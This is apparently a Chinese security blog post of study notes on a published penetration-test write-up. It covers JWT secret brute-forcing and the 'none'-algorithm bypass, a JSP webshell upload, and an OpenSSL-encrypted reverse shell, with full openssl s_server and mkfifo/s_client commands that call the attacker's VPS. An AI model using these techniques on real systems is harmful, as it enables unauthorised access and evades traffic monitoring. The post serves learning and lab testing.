一篇渗透文章的“读后感”

翻翻圈子,看到某位师傅转载了一篇渗透文章,从前台到最后获取服务器root,作者的思路极为的清晰,当然渗透中利用到的技巧也有我所不了解的,所以文章不仅学习技巧也同样学习这位师傅的思路(文章写的也是非常的好,读起来非常舒服)

0x01:利用过程

看完这篇文章后,首先想到的是自己对他的文章思路进行一个总结。

1)找回密码——》输入用户名返回了用户md5加密的密码

2)admin密码无法通过hash反解,但是可以反解低权限用户密码——》低权限用户又上传功能,但是验证了权限只有
admin用户才能上传文件

3)验证权限使用jwt,且使用了token无法伪造jwt——》通过爆破密钥得到jwt的密钥,成功构造admin进行文件上传

4)文件上传处前端验证——》修改后缀为jsp上传冰蝎马

5)反弹不到shell,发现存在端口白名单——》使用443端口成功反弹shell

6)反弹的shell刚连接就会断开,猜测有安全设备进行流量审查——》通过openssl加密,成功获得持久的shell

看完文章后对其中2个点进一步学习与记录
jwt认证绕过
openssl加密反弹shell流量

0x02:jwt认证绕过

这个名词已经说不上陌生,之前就收藏过一篇文章(果然收藏=学习),趁着这个机会把那篇文章也翻出来看一下,记录一下希望下次碰到jwt认证的网站可以记得用一下。

这里渗透过程中提到的是jwt密钥爆破

如果进行了密钥加密,修改jwt的数据在反加密会提示sign错误

但是密钥可以进行爆破,github也有专门的工具(https://github.com/ticarpi/jwt_tool)
若密钥可被爆破出来即可继续进行反加密从而进行越权操作,这里这位师傅成功爆破出了密钥,从而成功进行越权操作

文章中也提高了另外一个方法,将算法置为none,但是并没有成功,在那个公众号中同样提到了这个方法

也就是这个东西,思路是把签名置空,这样使任何token都是有效的(注意的是某些jwt对大小写敏感,所以可以尝试None类似大小写混合的签名)

在jwt.io中无法直接将其置为空,需要使用python的jwt包

生成后的jwt可用于尝试绕过

0x03:openssl反弹加密shell

要说连接上shell就会立刻断,在渗透过程中不是一件非常少见的事情,所以文章提到的方法还是有所帮助。
拿本地的机器进行测试

vps反弹本地kali的shell

1)vps生成证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

需要填写的信息可以不用管,一直enter即可看到生成了证书

2)启动一个 SSL/TLS server

openssl s_server -quiet -key key.pem -cert cert.pem -port 9011

3)kali进行反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect MyVps:port > /tmp/s; rm /tmp/s

vps成功弹到kali机器的shell

Reference

https://www.freebuf.com/vuls/211847.html

https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448904589&idx=1&sn=47dcc75c90f1db9b1f3da45777b9ed03&chksm=8b55c1d0bc2248c6d077822dcccd12ccb3d22e20df68fbb5cbd526ed6568848052659b13084f&mpshare=1&scene=23&srcid=&sharer_sharetime=1576031275070&sharer_shareid=3455b11226fe0fee53b9ebc62264d527#rd

发表评论

电子邮件地址不会被公开。 必填项已用*标注